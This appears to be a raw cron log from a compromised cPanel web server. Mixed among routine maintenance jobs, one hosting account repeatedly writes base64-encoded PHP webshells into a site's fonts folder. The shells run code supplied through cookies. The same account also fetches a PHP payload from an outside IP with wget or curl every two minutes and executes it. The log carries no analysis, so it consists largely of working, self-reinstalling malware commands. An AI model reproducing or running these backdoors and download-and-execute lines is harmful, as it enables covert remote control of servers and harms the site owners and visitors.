Sep 21 09:54:01 ip-184-168-122-23 CROND[6608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:54:01 ip-184-168-122-23 CROND[6610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:55:01 ip-184-168-122-23 CROND[6750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 09:55:01 ip-184-168-122-23 CROND[6751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 09:55:01 ip-184-168-122-23 CROND[6752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:55:01 ip-184-168-122-23 CROND[6753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:55:01 ip-184-168-122-23 CROND[6758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:55:01 ip-184-168-122-23 CROND[6755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:56:02 ip-184-168-122-23 CROND[6886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:56:02 ip-184-168-122-23 CROND[6890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:56:02 ip-184-168-122-23 CROND[6887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:56:02 ip-184-168-122-23 CROND[6891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:56:02 ip-184-168-122-23 CROND[6889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:57:01 ip-184-168-122-23 CROND[7036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:57:01 ip-184-168-122-23 CROND[7038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:57:01 ip-184-168-122-23 CROND[7037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:57:01 ip-184-168-122-23 CROND[7039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:58:01 ip-184-168-122-23 CROND[7236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:58:01 ip-184-168-122-23 CROND[7237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:58:01 ip-184-168-122-23 CROND[7240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 09:58:01 ip-184-168-122-23 CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:58:01 ip-184-168-122-23 CROND[7243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 09:59:01 ip-184-168-122-23 CROND[7372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 09:59:01 ip-184-168-122-23 CROND[7373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 09:59:01 ip-184-168-122-23 CROND[7375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 09:59:02 ip-184-168-122-23 CROND[7377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:00:01 ip-184-168-122-23 CROND[7544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:00:01 ip-184-168-122-23 CROND[7549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:00:01 ip-184-168-122-23 CROND[7550]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 10:01:01 ip-184-168-122-23 CROND[7700]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 10:01:01 ip-184-168-122-23 CROND[7702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:01:01 ip-184-168-122-23 CROND[7701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:01:01 ip-184-168-122-23 CROND[7703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:01:01 ip-184-168-122-23 CROND[7704]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 10:01:01 ip-184-168-122-23 CROND[7705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7700]: starting 0anacron
Sep 21 10:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7724]: finished 0anacron
Sep 21 10:02:01 ip-184-168-122-23 CROND[7828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:02:01 ip-184-168-122-23 CROND[7831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:02:01 ip-184-168-122-23 CROND[7830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:02:01 ip-184-168-122-23 CROND[7832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:02:01 ip-184-168-122-23 CROND[7829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:03:01 ip-184-168-122-23 CROND[8057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:03:01 ip-184-168-122-23 CROND[8058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:03:01 ip-184-168-122-23 CROND[8059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:03:01 ip-184-168-122-23 CROND[8060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:04:01 ip-184-168-122-23 CROND[8199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:04:01 ip-184-168-122-23 CROND[8200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 10:04:01 ip-184-168-122-23 CROND[8205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:04:01 ip-184-168-122-23 CROND[8204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:04:01 ip-184-168-122-23 CROND[8202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:05:01 ip-184-168-122-23 CROND[8376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 10:05:01 ip-184-168-122-23 CROND[8375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 10:05:01 ip-184-168-122-23 CROND[8382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 10:05:01 ip-184-168-122-23 CROND[8385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 10:05:01 ip-184-168-122-23 CROND[8378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:05:01 ip-184-168-122-23 CROND[8383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 10:05:01 ip-184-168-122-23 CROND[8386]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 10:06:01 ip-184-168-122-23 CROND[8537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 10:06:01 ip-184-168-122-23 CROND[8541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
